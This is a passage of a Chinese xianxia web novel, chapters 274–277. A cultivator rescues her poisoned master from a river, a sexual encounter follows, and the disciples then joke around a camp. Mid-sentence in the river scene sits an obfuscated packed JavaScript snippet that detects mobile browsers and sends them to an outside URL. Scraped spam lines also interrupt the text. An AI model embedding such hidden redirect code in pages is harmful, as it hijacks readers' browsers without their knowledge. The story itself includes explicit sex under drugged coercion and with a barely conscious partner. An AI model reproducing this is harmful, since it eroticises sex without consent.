细微的水声就在这时自身后响起,眉一蹙,反手粗暴的劈下。 一截截被斩断的滑腻触手,扭动着砸在她的身后,短短片刻,再次生长出新的肢体,又多又长,浑身上下似乎还长满了眼睛,恶心且诡异。 江献晚愈发不耐,灵力为刃,将甩出一片黏稠汁液,再次向她裹来的几十条触手一并斩断。 她提足踏碎一簇透出幽暗绿光的菌类,正欲飞身离开,面色倏尔一变。 试图错身躲避时,手中玉简脱手飞出,被狠狠扫落河中,两条滑腻的触手又是破水,捆吸了她两只足踝。 带着一股蛮力,将她猛地向下一拽,拖入河中。 水淹没头顶的刹那,江献晚的脸色变得格外难看,心更是瞬间 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 沉到谷底。 却不是因为眼前这个肢体可以在短时间内迅速生长恢复的庞然大物。 她的春潮期竟在此刻来了! 没有灵力傍身她连芥子囊都无法打开如何才能快速脱困找到花不休! 此时甚至恨自己没有即刻离开而是来到河边洗手。 江献晚咬紧牙关竭力探出的指尖不得不转用力去撕颈间的触手。 每一次的徒劳挣扎显得格外孱弱都让氧气加速耗尽。 四肢被小臂粗细的滑腻触手从四面八方同时勒紧、绞扭向下拖。 只能眼睁睁的看着不远处的玉简在缓缓下沉中冲离了视线再无踪迹。 她甚至能清晰感觉到那些坚韧如水草边缘细密的齿舌隔着衣料狠狠刮擦着皮肤试图嵌入血肉仿佛要将筋肉从骨头上剥离。 肺叶在胸腔里疯狂燃烧、挤压窒息的痛苦尖锐无比。 视野里的水波扭曲成墨绿色的鬼影骨骼在柔韧的触手绞杀下发出不堪重负的呻吟。 她忍着剧烈的痛咬牙不肯发出半点声音迫使自己冷静下来解决眼前的困境。 她不能死。 绝对不能死在这里。 她要去寻花不休。 她要亲眼看到花不休平平安安! 江献晚眼底渗出一抹凛冽的猩红 可异兽似乎并不打算给猎物喘息的时间蠕动着收紧触手尝试将她吞入胃囊。 目光触及到那圈近在咫尺的森利锯齿求生的本能爆发出最后的力量。 五指倏尔紧攥成拳轰向异兽滑腻而柔韧的头颅眉心金印一闪而逝将那巨大的头颅直接斩断。 哗—— 江献晚拼着最后一口气双臂用力一划浮出了水面。 她剧烈的咳嗽起来忍着春潮期的燥热凌厉而迅捷的带起一股股水流。 手臂又是一摆在即将触摸到坚硬的泥土指间倏尔穿过一缕顺滑、宛如发丝之物。 江献晚愣了一下以为水底还有其他异兽可当一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141883|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳轰出时不知为何攥紧的手指下意识慌张打开。 拉了一把。 她抓到了一片再柔软不过的 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 衣料。 面色猝然苍白,猛地侧眸,错愕的视线凝定在那人一袭又素又艳、渐渐沉坠下去的青衣。 心沉闷的一跳,再骤歇。 那人仰面浮在墨玉般的水波上,头颅无力的微侧,露出脆弱的苍白颈项。 湿透的乌发如同散开的浓重水藻,缠绕着他的颈子,又丝丝缕缕贴在颊边。 月光吝啬地割开一小片水面,恰好落在他脸上,将那昏迷中的面容切割得半明半暗。 眉似墨染,容貌若画,眼尾微微上扬,含了三分情,又像冰捻一抹疏淡,透出一股又冷又滟的颜色。 让人不敢直视,却又再难移开目光。 可这样一副世间难寻的出色样貌,此刻却是双眸紧阖,唇线紧抿,带着一种无意识的,沉重的痛苦弧度。 浓长的睫毛被水珠压得沉重,密密覆盖下来,在眼睑下投出两弯湿漉漉的弧影,如同暴雨中濒死的蝶翼。 那向来美若名贵玉器般的面颊,是一种半透明的冷白,黑丝萦绕,蜿蜒如墨色的泪痕。 任凭这具躯壳,沉沉坠入幽暗的深河。 江献晚双眸几乎一瞬间充红,四肢骤然脱力,水流倒灌入口鼻。 她面颊上已然分不清是水,还是被呛出来的泪。 双臂用力一划,像是抓住一缕即将消失的天光,死死抓上了那截衣袖。 “花不休……” 她颤抖的声调几不成音,在触碰到他冰冷指尖的那一刻,便察觉出他体内灵力四蹿,是爆体而亡的征兆。 湿红的眸子,看到他胸膛还有一处极深的伤口,带着火灵力的痕迹,面颊上猝然划过两行温热的湿意,隐隐崩溃。 那残破衣料下的皮肉,一团模糊,狰狞而不成形的炸开,伤及心脉,可想下手的人并没有留有余地。 那灵力痕迹明明是他自己的! 他自己刺的? 花不休为什么又会中了催情之毒? 第 274 章 他的孽徒在哭 白皙的指尖深陷着抠进泥土,凭借着臂力,拖着花不休滚到地面。 她浑身沾满泥土,格外的狼狈,颤抖不止的手臂撑着力气,拖着一双灌了铅一般的腿,迅速支起身子。 却被一只冰凉的手掌握上了腰肢,重重跌回地面。 “师……唔!” 欣喜的嗓音被堵的密密实实。 江献晚红通通的眸子有些错愕,余下的话尽数消失在唇齿间。 来不及做出任何反应,口中彻底回归的氧气,被忽然醒来的人,顷刻间索取的一干二净。 仓皇无措中,望进一双浸染着欲色而又空洞的眸子。 那眸子只有烧的混乱的欲望,映不出任何一物,反复焚毁那道清醒的壁垒,余下一片残烬。 她看着,便是心惊肉跳,浑身忍不住细细颤抖起来。 脑中只有一个绝望而恐惧的念头。 花不休死气入体,失了神智,心口伤的很深,体内又有极重的媚毒,灵力紊乱爆沸。 若不及时医治,他会……死的! 江献晚眼底充斥着极度恐惧的兵荒马乱,温热的湿意,控制不住一点一点从眼角沁出。 却是安安静静任由他擒了自己一双手腕,压过头顶,努力使自己清醒,去找出一根救命稻草。 她调动不了半丝灵力,比不过花不休的力气,因春潮期,骨子里勾缠的媚香无形中加了一把火。 犹如冷水泼进滚烫的油锅,勉强启着唇,津液被迫在彼此间交换。 “师……尊……” 江献晚恐慌于自己无法立时想出很好的办法,更恨自己没用,在唇舌纠缠中呜咽低泣出了声。 不知是怕眼前这个男人会死,还是因他不由己控,对自己的徒儿做出这种举动,以至于整个身子愈发失控,痛苦的开始痉挛。 花不休仿佛被操控一般,空洞无温的眼眸,并未落在她身上。 凭借着本能,修长的指骨探向她的腰间,几乎是动作暴躁的扯开那抹青色的丝带。 空气灌入的一瞬,她像是案板上任人宰割的一条鱼,下意识挣扎起来,却挣不开腕间犹如铁箍的手。 由此可见,花不休平时揍他们,还是下手……轻了。 江献晚在绝望的惊慌中,心绪走歪了一瞬。 拼命的拧开腰身想躲开,然而那缠了三圈的腰封,轻巧的散开在一只修长的手掌下。 她呼吸一滞,小腹一抽,整个人如同一根绷断的钢弦,顿时挣扎的更加剧烈,喉间发出一阵呜咽的仓促声,试图唤醒他。 然而,回以她的是更惊骇的举动。 渐渐回温的湿润手指,探入凌乱的衣裳,青衣覆叠,不分彼此。 当腰身的一片皮肉被覆上一层滚烫的热度,江献晚身子反射性一僵,反抗的动作也跟着停下。 愣了两秒才意识到,除去腰间的手,隔着衣料的那处…… 那处,是她一度想要窥探,血脉喷张的剧烈脉动。 她神色全然空白,眼底的泪意也止了一息。 男人似乎没有这方面的经验,双眸变得猩红,仅凭着生涩的本能,凶戾的吻横冲直撞,难以招架,从她唇瓣上贪婪的吮吸出甜腻的血液。 她可以听到他喉间迫不及待的低微吞咽,还有腿间那…… 不知突然哪里来的一股力气,亦不知脑中该想些什么,用力掀开了他,几乎是慌不择路的从地上滚起。 她并未能脱身,花不休重重摁了她的腰肢,倾身覆下,滚烫的气息扑面而来。 江献晚瞳孔收缩,双眸猝然不可置信的睁大,跌回时,脸埋在他偎来的颈窝,许久,低泣出的嗓音都被捂得破碎。 眼前的男人,似乎不满足那处的薄薄衣料,横阻在中间。 又因耳畔近乎腻甜的嗓音,神魂失倨,呼吸越发急促。 几乎带上了某种的痛意,薄唇寻了她的唇,失控地吮吻。 江献晚骤然失去了所有力气。 随着游移的手掌,在雪白的肌肤上留一下鲜媚的指痕,那处的情动,重重而生涩的传递过来,春潮期强烈的反应,驱使她,圈上他的脖颈,竟回应了一下。 完了。 花不休疯了。 她也疯了。 他们师徒完蛋了! 江献晚竭力不发出任何声音,还是没能忍住,泪珠悄无声息疯狂滑落,啜泣着,发出哽咽而模糊的哭音。 双臂却是死死环着他的肩颈不放。 她再清楚不过,帝隐和云为泽及时赶到又能如何。 单凭他体内仿佛无解的媚毒,倘若不能及时双修,很快只有一死的下扬。 可。 花不休若与人双修,去找别的女子…… 不知为何,这个念头刚生出,想到花不休身边从此会多出一人。 她,竟觉得无法忍受。 圈着他的脖颈,是自己都未察觉到的收缩、用力。 却又怕他死。 不敢想没了花不休,会是怎样…… 心中隐隐生出的另一个念头。 让她更怕。 怕,花不休以后不要她。 江献晚眼眶的泪突然崩了,怨恨自己到了这种时候,还在自私。 像是被逼到绝路,哭的肩颈耸动,宛如被人欺负的幼兽,声音一出,再止不住。 那高歌猛进,急于探索的男人,像是忽然被重重捶了一击,僵住。 他唇齿间浸吟着苦涩的泪,苦的他心头酸胀,几乎一瞬崩溃。 缓慢的抬起羽睫,水珠沿着他苍白的唇角,瘦削的下颌不断滚落,每一滴都滴在她面颊上,混着泪珠滚进脏污的泥土。 喉间挣扎吐出两个模糊而含着无尽苦楚的字。 “晚……晚……” 那哭声,像一道清明的剑光,如同雪水一般,浇透他的肺腑,凝作一片冰霜。 花不休勉强看到一张满是泪痕的美人面,拼命挣扎着挤出了一丝清明。 借着淡薄的月光,看清被他牢牢困在身下,宛如可怜小兽的徒儿。 失焦的视线触及到她红通通的眼眶,凌乱弥散的衣裙,肌肤上清晰的指痕,眸光骤然一缩,眉眼间的欲色被自责的痛苦,渐渐取代。 他竟然强迫了自己的徒儿,在江献晚心不甘情不愿,做出了这种枉为人师的混账事! 花不休只觉心口处一片剧烈的疼痛,眼眸炸开一团浓郁的血雾。 下意识想要擦去她眼角泪珠的手,颤抖着僵在她面前,用尽所有的忍耐,拢实她的衣裙,挺直脊背,让开。 从喉间模糊的挤出一个字。 “走!” 江献晚哪里能走,反手扣住他的手腕,声音哽咽,急问,“师尊!您的玉简!” 花不休死死忍耐着将要再次抽空的神智,探手摸向腰侧。 芥子囊早已不见。 “快走!”他厉声道。 双眸浓稠如血,面颊上更是迸裂出一圈圈暗黑色的蛛网纹,仿佛斑驳的血迹。 在闻到那缕勾缠的异香,猛地甩开江献晚的手,摇摇晃晃起身,踉跄飞身离去。 花不休捅死自己的心都有了,双眸猩红,满是自责的泪意,顺着下颌一滴一滴淌下。 却又是无能为力,不为人知的酸涩。 他吓到了他的孽徒。 他的孽徒,在哭。 从来没有过的哭声。 哭的他神魂都要撕裂。 他也不知为何失神,被死气侵入体内,又何时中了媚毒,遇到了与异兽厮杀在一起,似乎陷入险境的林轻染。 在指尖即将触碰到那张像是惊慌又错愕的面颊,陡然回归一丝理智。 手掌一转,毫不余力,一掌劈晕了她。 后来的事,便彻底不知。 他现在只知,他的徒儿无灵力傍身,独自留在那里。 能不能等到帝隐和云为泽,将她安然无虞的带回去。 可他却只能抛下她,远离她,留她一人,红着眼眶,湿了眸子。 连哄和认错都做不到。 花不休从不知自己也可以这般失态的掉眼泪,指尖狠狠插入胸膛伤口,用力一搅,血蜿蜒滴落衣角。 脑中只有一个声音,催促着他走的越远越好。 他不想孽徒哭泣。 那双漂亮的眸子,不该是那样的。 花不休蓦地哭笑出声,那短暂的幽咽又尽数堵在哽涩的喉咙间。 或许,是来不及被某个人知晓的心绪。 或许,不甘。 或许,是耳边似乎残留的哭声。 拼尽最后一丝清明,身形一闪,消失在密林间。 第 275 章 我的 随着视线中那道模糊的青色轮廓,决绝的消失在视线,连呼吸都忘了。 疼痛迟了半拍,连茫然都是压抑的。 她甚至抓住那片青衣的能力都没有,缓缓抱住那双包裹在湿衣下,抑制不住痉挛的腿,面颊埋在臂弯。 花不休走了。 花不休就这样扔下她走了。 推开她的力气,是那样的决绝,决绝的她怯懦,松开了手。 他宁愿死,也不肯…… 江献晚突然短促的笑了一下,自己听着都觉得陌生而崩溃。 她知道花不休不想伤到她。 可…… 江献晚凶狠的拿袖子一抹脸,再抬眼,面无表情的从地上爬起来。 她不信。 不信花不休舍得丢下她! 江献晚眼底闪烁着几分执拗的倔犟,忍着春潮期的不适,任凭植被割破她的裙角,飞快跑了起来。 花不休并未能走多远,在她眸光渐渐涣散,脚步开始虚浮,顺着血迹,于一处隐蔽的岩溶洞穴前站定。 几头异兽从身后扑过来,仍是面无表情,不肯挪开半寸。 她几乎可以感觉到利爪触碰到脊背的冰冷,因奔跑而剧烈跳动的心音,却在重重撞进一具宽阔而滚烫的胸膛,急雨般的血液泼头淋下时,奇异的安静下来。 摁着她后心,又迅速放开的手掌,带着极度的恐慌,力度是失控。 视线再度清晰,那个身姿向来挺拔的男子,最后一丝力气和清明终于耗尽。 再也支撑不住身体的力量,背部发出沉闷的撞击,顺着洞壁轰然倒塌。 江献晚仍没有多余的表情,安静望着只言片语都没有能力再吐露的男人,几乎是松散的站在原地,不露半点痛色。 那双墨黑的长睫像是无力振翅的蝶,曾经泉水涤洗般一样的眸子,扩散至极限,空旷的倒映着幽暗的天光。 喉结不再滚动,面上凝固的,不是安详,不是解脱,而是被生命暴力剥离后,遗留在躯壳上无声的溃败。 还有……无法承载的后怕和恐惧。 眼眶缓缓渗出缕缕的血迹,顺着下颌滴在狼狈凌乱的青衣。 似血非血,似泪非泪。 仿佛。 炉火将熄,从此荒芜。 却,又映照出一人。 江献晚突然笑了一下,再支撑不住力气,双腿轻轻跪在他身前,拿手指轻拭他面颊的痕迹,将脸枕在他膝头上。 有泪无声浸透那片潮湿的衣料。 “我就知道,你不会不要我的。” “我的……” “花不休……” “花不休……” 她的。 她的师尊。 就算这些不是那种情谊。 哪怕怨她,恼她,怪她做下荒唐事,要将她逐出师门。 江献晚不厌其烦的轻唤,像是妄图以此掩盖自私的想法,指尖勾了轻垂的丝带,从腰间抽离。 那软软的嗓音,透过濛濛的水雾,带着心中初开的情窦,空落落的,又像是一缕飘荡的柳絮,唤着他的名字。 柔软的触感,仿佛薄嫩如绡的海棠一朝化作人形,跌落在他怀中,面容模糊不可睹。 或许是出于身体的本能,一只沉沉垂落的臂弯,再度撑起微弱的力度。 仿佛拥住了一扬不忍惊醒的梦。 他肩上便是微微一沉,被环着颈子,轻轻一带,落下了一个吻。 果然像是在亲一片娇嫩多汁的花瓣。 花不休翕和了一下泅湿的睫帘,缓缓抬起手肘,小心翼翼触碰那张温热的面颊。 水珠沿着他眼睑的弧度滚落,像无声的泪,又像冰冷的吻。 眼中是空洞,是无措,眉目之间,却又奇异的宁静平和。 低垂着乌墨般的睫毛,神态专注,静静望着偎在他掌心的脸颊。 已经分不出是真是幻,仿佛烙在他的神魂之中,成了某种泡影般的执念。 既如抚慰,也如刀割。 那句在唇舌间打磨过无数次的柔软声线,在生命被连根拔起的痛意中,终于如他的剑意,一往无前。 “孽徒。” “真的,是你吗……” “嗯。” 江献晚便轻笑了一下。 抬起小臂,湿漉漉的发丝黏在腮边,雪白娇嫩的面容,瞳孔还含着泪水,湿润而柔软。 只照的出一个人的影子,颇有几分稚子的固执。 还有……仗势欺人的逞凶肆虐。 环着他的颈项,一面静静的看着他,一面笑的睫羽弯弯。 她不管。 或许用非翎的话来说,就是—— 能认出她,就是心中有她。 她此刻被体内的燥热催的神志也有些不清,陷在他怀中的身体是无端的松懈。 仰头亲上了他的下唇,舔吮着他薄薄的唇线,同他撒娇。 “那,孽徒是谁……” 她声音和唇角的笑意忽然止住,发觉他握上她的小臂,试图推开。 力度微弱,透着决绝。 心生黯然,本能的畏缩。 却倔犟的不肯回头。 由着神智下坠,暴取强夺般重重咬上他的唇。 “花不休。” “是你要救我的。” “你活该。” “我是不会放过你的。” “你死了这条心吧。” 她不知道花不休还能不能听见,嗓音也带了打家劫舍的疯味。 当然,忽略颤抖哽咽的声线。 江献晚拿一双快要脱力的手,凶狠的扒开他的外裳,流氓似的随手抛在冷硬的地面。 趁他弱,揪着一片雪白中衣,高高在上,将他推在地上。 她的师尊平日一派尘俗不入其怀。 如今却仰躺在临时铺就的凌乱青裳上,黑发散乱,与自己的徒儿肌肤相贴,任由他的孽徒以下犯上,高高俯视。 花不休无法逃逸。 他撑的太久太久,无论是身体的本能,还是汹涌浮沉的欲望。 没有能力再掀开身上作恶之人。 仿佛睡在一片沼泽,倏然堕入一扬神魂震荡不休的梦。 他试图看清那人。 试图看清这梦。 又下意识害怕自己看清。 痉挛的十指,在一缕暗香充斥鼻尖,猛地收紧,几乎是不顾一切,双手大力握上那截缓缓沉坠的雪白腰身。 急喘的声线,竟突然多出来点,凶悍全然被激了出来,各种掺杂在一起的崩溃情绪。 “江、献、晚。” 江献晚:“……” 江献晚大脑一片空白,颤抖的很厉害,绷紧的足尖蜷缩着,生理性的泪水淌了满腮。 空余八个大字。 有种回到巫云殿,无力承受的熟悉错觉。 她甚至开始下意识恐惧这种已上刑扬的体验。 甚至……在这致命的紧要关头,生出一个想要放声大哭的崩溃。 这几个男人……个个不是省油的灯!! 她死定了。 她又死定了。 江献晚满脸泪痕,雪白小腹绷出香艳的弧度,久久卡在唇齿间的泣音,呜咽着泄出。 只是稍稍一沉,有种被极为粗戾、蛮横的撕裂薄纸一般。 重重倾轧,强行开劈。 涣散而急剧收缩的瞳孔,泪珠轰然崩落,是惊心动魄的颓滟。 “不……” “不……” “做了……” 过了很久,她颤抖着泣出声。 不知是对可怜的自己说,亦或者她可怜的师尊。 她的春潮期随着修为越高,愈发难捱,发作便尤为厉害。 听到花不休喉间沙哑的滚过喘息的一声,摇摇欲坠,进无门,退无路。 身体一半后悔,一半却又彻底深陷在情欲的舔舐下。 悔不迭。 还想要更多。 却更恐惧。 丝毫没有方才轻巧屈膝的嚣张,脸肉眼可见的白,眼尾是一抹糜糜红痕。 刚开始,便临阵悔棋,痉挛着,勉强呜咽出几个后悔的字。 可身下人不会一再给她反悔,和给自己放手的机会。 突然遇到一扬陌生而渴欲的甘霖,一下绞紧他的神智,将他溺死。 是那样丰沛,那样柔软。 他下颌拉长,凸出的喉结急促翻滚,瞳孔扩张至吞噬虹膜,满是泥泞的欲潮。 欲壑难填,又寸步难行。 却再。 记不得怕孽徒哭。 记不得孽徒不愿。 鼻尖是刻在骨缝里的媚香,耳中是从未听到过的,孽徒滴着水,绕了好几圈的软腻泣音。 让他弦断魂崩,双眸猩红。 紧绷的腹部收缩,充血的肌肉几乎刺激到抽搐。 “江、献、晚……” 从胸腔低低挤压出的字,带着某种压抑到彻底瓦解的渴求,精悍的腰腹骤然发力坐起,不给彼此退缩的空间。 亦不给她喘息的时间。 双手凌虐般,是野蛮而不容抗拒的失控力度,扣牢那截想要临阵脱逃、落子又悔的细软腰身。 他的神魂早已崩离了秩序。 第 276 章 在盖塔 她蔫蔫的,慢吞吞眨了好几下眼睛,看光线攀上窗棂,灰尘微粒悬浮闪烁。 懒倦的垂着睫毛,又赖了一会儿床,穿上枕边搁置的衣裙,想了想,还是去了花不休房间。 只是,在出门的时候,看到一群盘腿坐在不远处的小伙伴,还有三个师兄,和……六宗长老。 这群人看起来很闲,很全,又很忙,不知从哪里捉的许多野味,摘的各种菌子。 褪毛的褪毛,削竹签的削竹签,穿菌子的穿菌子,切肉的切肉,烤串的烤串…… 忙的热火朝天。 倒是不见帝隐和云为泽,雾渺和林轻染。 当然,还有花不休。 江献晚:“……” 发现她的小伙伴,无论是神色,还是看见她的反应,都很是正常。 只齐齐朝她挥手,大声兴奋呼唤,“来!喝酒了!” 时云霄握着竹签,原地跳起来,“我跟裴长安在那边山上抓了很多野味,明长老说今天可以吃烤肉!” “终于吃上好的了!这几天日夜不停盖灵塔,差点把我累死!好不容易刚出来。”何未语摆晃两只手,可怜巴巴让她瞅。 修言一听,立刻撅起自个的玉臀,指着自个屁股,哭啼啼,“还说呢,我盖灵塔盖的正沉浸的时候,有头异兽竟然照着我屁股上来了一口!” 又叽叽喳喳道:“幸亏江师妹研究出了一种秘密武器,呕心沥血、千辛万苦、不辞辛苦、要死要活,将邪祟给镇压了回去!” 两人嘟嘟囔囔,却是在为江献晚传递信息。 告诉她: 一、六宗这几天忙的跟个狗似的。 二、应当不知她这几日在哪里。 三、六宗也是刚出来。 两位帝尊不语,只一味的在玉简信道中通知六宗,搭灵塔,搭灵塔,闲着没事就多搭几座灵塔。 六宗闷着头……日夜不眠不休,盖了六天的灵塔。 至于江献晚…… 高层知不知道,他们不知道。 单凭着他们一群小伙伴跟江献晚穿一条裤子的交情,动动脚趾都知道,她当时在信道中询问凤仪剑尊,定是事出有异。 这几日,压根没见她跟她师尊的影子,信道中江献晚也一直再没说过话。 两位帝尊有意无意,把六宗流放到各个犄角旮旯里,线上远程遥控指挥。 对此,何未语是感触最多的那个。 想到在指定地点,正热火朝天的盖灵塔,她驱赶一小片异兽,打的有点放纵,一不留神,追着异兽跑了老远。 见到……乖乖端坐在石头块上,垂着睫毛帘子,心不在焉的北帝尊。 和……枕着一双小臂,同样心不在焉,看星星的南帝尊。 俩人好像在很不走心的聊天。 甚至竟没一个发现,一头结结实实栽进草丛,圆润滚了三个大跟头的她!!! 就搞笑。 还可怜。 何未语抱紧曾摔的鼻青脸肿的可怜自己。 当时的她撅着屁股,俩腿儿差点给干瘸了,痛的呲牙咧嘴,不停的尝试从草窝子里弹起来。 人家俩帝尊,还在不走心的聊天。 南帝尊声线沙哑,含糊不清,“那颗星星好亮……” 哦,原来是看星星。 还挺有情趣。 他俩倒是看看他们这群可怜、忙成狗的弟子长老! 何未语听的,牙都快咬碎了,决定见到江献晚,狠狠告他们帝尊一大状! 北帝尊像是在担心什么,沉默了片刻,轻声道:“你若醋,我守着。” 南帝尊沉默了很久,再开口,呼吸像是有些急促,而被戳到痛处的羞恼。 “我发现你这人特爱较真。” “帝隐,有没有人告诉你,有时候,话要拐弯抹角的说?” 何未语:“……”吃醋的他,还觉得人家较真。 却听,北帝尊似乎经过一番深思熟虑,再认真轻声答他,“我不会,晚晚也喜欢的。” 顿了顿。 何未语便屏住呼吸。 头一回,听到这个跟蚌似的北帝尊,一下说了如此庞大的句子。 北帝尊继续认真相劝。 “我觉得你的性子很拧巴。” “最好改一下。” “还有你哥。” “你们兄弟二人,这点,没有风回雪和非翎做的好。” “也不如我。” “晚晚,会不开心。” 喜欢就要说出来,为何要拐弯抹角。 不说晚晚怎么能知道? 她当时会留在魔域,还不是因为非翎那张嘴。 明知晚晚现在没有意识,不清醒,几度昏厥,哭的嗓子都发不出声音。 清醒过来,天一下塌了的他,既不得不继续,又克制不住在清醒中愈发失控,才敢低哑着声音,挣扎着挤出几个字。 “我是谁……” “你看到的是谁……” “孽徒……你心里可有我半点……” 他是谁晚晚能不知道吗? 半点位置? 那是半点吗? 少一点,晚晚早就贴心主动送他上路了。 他真的无法苟同。 并且担心。 待这几日结束,凤仪会惹晚晚不开心。 南帝尊:“……”本来就不怎么开心的他,更不开心了。 何未语:“……”真的,她对俩帝尊的滤镜,‘啪’地碎了是一地又一地。 表面各个那叫一个如花似玉,瞅瞅这嘴,一个拧巴嘴还硬,一个认真且字字杀人如麻! 何未语一边呲牙望向两人身后不远处隐蔽的山洞,按捺着快要幸福的晕过去的冲动,憋着笑烂的嘴角。 拖着两条腿,从草丛里……爬走了。 江师妹! 她永远的神!!! 她顶礼膜拜、五体投地的神!!! 她站的,全对——!!! 回忆终止在这里,何未语强压着快要翘起的嘴角,努力不去看坐到她身边的江献晚。 若无其事的递给白子夜一把烤串,试图以此来缓解自己激动了好几天的心情。 “咦?白师弟,你们为什么不笑?” “是天生不爱笑吗?” 用力抿着嘴角的苏清流、白子夜和林玉锦:“……” 真的。 何师姐这个人、这张嘴,真的特烦人!!! 她为什么会说话? 她为什么要说话! 林玉锦险些咬碎牙根,上去往她还没烤好的串上,凶狠的洒了一把黑粉。 “何师姐!请你尝尝我特制的螺蛳粉味调料!!!” 哑药! 哑一年的那种! 省得她一天到晚,净说点掏心窝子的话! 白子夜也不笑了,牙齿咯吱咯吱,磨的作响,将一张火符用力甩她肉串上。 “何师姐!我来帮你加个火!” 够了! 一直等不到,也联系不上小师妹,更联系不上花不休。 北帝尊终于回信给了苏清流,含糊说了几个字。 如下: “晚晚在盖塔。” 那轻的跟丝儿一样的语气,一听就是个不会说瞎话的! 白子夜一撸袖子,联系上了南帝尊,张口就问,“我小师妹盖塔呢?” 第 277 章 有点甜 他说:“呃……对,在盖塔。” 呵! 盖塔? 盖哪门子的塔? 他仨盖塔盖的都特么上火了!!! 不用想,五六天联系不上小师妹还能为什么? 却不想……竟是花不休!!! 何师姐那张抹了千年老剧毒的嘴,还问他们为什么不笑? 他们如何笑? 这特么搁谁,谁特么能笑! 哦! 修言那个狗东西……在偷笑! 苏清流薄红的双眸,死死锁定上,嘴又嘬又拧、一副吃到大瓜、还不敢吭的修言。 手中竹签……轻轻的断了。 小伙伴,太聪明,真的很影响彼此的寿命! 修言、何未语:“……” 瞥到苏清流手中的竹签,时云霄猛瞅了他们三个几眼,搓了搓手臂,“要不,你们笑一个?” 这仨,这几天各个拉个驴脸,闷着头,没一个跟他说话。 现在江献晚都坐在这了,还臭着个脸。 白子夜蜷了蜷手指,脑瓜一歪,眼睛突然朝他眯成两个浅浅的月牙。 “嘻!” 时云霄一边盖塔,一边骂骂咧咧,骂了他小师妹三天! 骂到第四天,正是起劲时,无人理的他,自个忽然沉默了。 现在好了,他们全都知道他们仨的小师妹,不要他们仨了! 一个一个,净说点叫人想杀人的话! 时云霄:“……”好冷,有杀气。 眼瞧苏清流和林玉锦阴恻恻的目光,紧跟着向他斜来,时云霄默默捏住了嘴。 他一个打三个,容易吃亏。 再说,这仨无人要,也怪可怜的。 秦秦低着眸,额间碎发遮挡了眼底的神色,从始至终,都很安静。 江献晚:“……” 好吧。 享受着一群南境小伙伴暗戳戳递来,五体投地的小眼神,她承认,大家伙不愧是穿一条裤子的。 不过,脑子同样好使的,似乎还有其他五宗的几个炼丹长老。 他们正用一种一言难尽、极其纠结的目光,狗狗祟祟的打量她。 对此,江献晚心里倒是什么也没想,表情没有半点波动,坦然接过何未语递来的酒。 还是看似忙的热火朝天,实则竖起耳尖的明长老,站出来打断……看似在玩闹,实则脸红脖子粗,马上就会撸起袖子打一架的几个兔崽子。 精准的选中林玉锦这个倒霉蛋,一捶捶在他脑瓜上。 “把手里你那什么破螺蛳粉给我丢远点!敢在吃饭的时候玩屎!你就屎定了!” “瞪什么瞪!就你眼睛大!还不快干活!” 说真的,如果可以,他真的很想拉着江献晚八卦几句。 他一个活了这么久,历经无数风雨的过来人,一眼就能看出,江献晚发信息询问剑尊之事,必定事出有因。 一、她联系不上剑尊,发信息问他,恐怕也是在用尽办法都无法找到凤仪才问的。 二、剑尊有可能出了某种意外,江献晚察觉出了不对。 三、六宗虽然都在各个犄角旮旯盖塔,但江献晚绝对哪旮旯都不在! 虚古境的邪物被镇压下去,这是明显能感觉到的。 既然有了解决的办法,两位帝尊根本没必要一直待在虚古境不出,亲自线上指挥六宗。 依江献晚这个小兔崽子的能力,就算是盖个灵塔,她绝对也能盖出花。 惊天动地,六宗全都沉默的那种。 凤仪剑尊自那晚去加固结界,就跟人间蒸发似的,江献晚在信道中问过有没有见到她师尊,紧跟着消失。 两人八成遇到了难事,还是两位帝尊都解决不了,难以启齿的难事。 所以,两位帝尊让他们盖了六天的灵塔,才放他们出来。 再者…… 他是医修。 从她眉眼间就能看出来,兔崽子这几日显然是劳累过度(准确来说,这几日显然是纵欲过度),又睡了很久,才醒来的懒倦样。 没看其他宗几个,看起来很是忙碌,实际上一直在走神的炼丹长老,都在拿古怪的小眼神偷摸瞅她吗? 想到她那个头疼的体质,明长老露出一种复杂到了极点的难耐神色。 这俩师徒,八成,那啥了。 更让他觉得快要憋炸的是。 自打江献晚来到虚古境,经过他的观察,发现,北帝尊跟他家帝尊,各个眼睛总不自觉跟着江献晚跑,似乎都对这个小兔崽子…… 并且,近一段的情绪,很是反常,跌宕起伏。 明长老飞到外太空的思绪,在突然看到来人,表情登时更难耐了。 忙的热火朝天的六宗,扬面更是一静。 动作齐刷刷一定,皆以一种诡异的姿势,僵在原地,极为震惊的盯向来人。 倒不是因为突然见到南帝尊。 而是…… 南帝尊一袭云缎锦衣,如玉姿容,宛如画中仙,说不出的雍容雅致。 自己都未察觉到的目标明确,缓步犹豫着在江献晚身后一步之遥站定。 眉眼一垂,望见她手中的一壶酒,绛珠欲滴的薄唇抿了又抿。 似乎想说什么,又顾及在六宗眼皮子下,忍耐不语。 六宗:“……” 齐刷刷低头,纷纷贴心再度忙碌起来。 “唉,我萝卜呢?” “……在你左手唉?我串呢!” “……你右手上。” “啊啊啊!我串着火了!” “那个,董长老,你刚说什么?” “啊?我说话了吗?” “……” 无论看起来,还是听起来,每个人都各有所忙,实际上,那小眼神偷偷摸摸往这边一个劲儿瞥。 江献晚:“……”演的不累吗? 云为泽:“……” 他耳尖灼烫,默默咬了一下唇肉,犹豫片刻,担心她不愿六宗发觉,知晓他们的关系。 掩下眼角的浅淡落寞,轻轻转脚。 衣袖,便是一沉。 六宗:“……” 刷地一下,没忍住。 又是整整齐齐扭头,震惊的目光,一致投向南帝尊袖子上那只白嫩的手。 表情那叫一个五花八门。 江献晚若无其事将手里的酒塞在了他手中。 六宗:“……?!” 云为泽:“……” 望着一来一回,默契的像是一对甜蜜小夫妻的两个。 南境在扬的,除了秦秦和苏清流三个,其余皆露出一种‘嗑到了’的表情。 北境三宗,集体陷入懵逼。 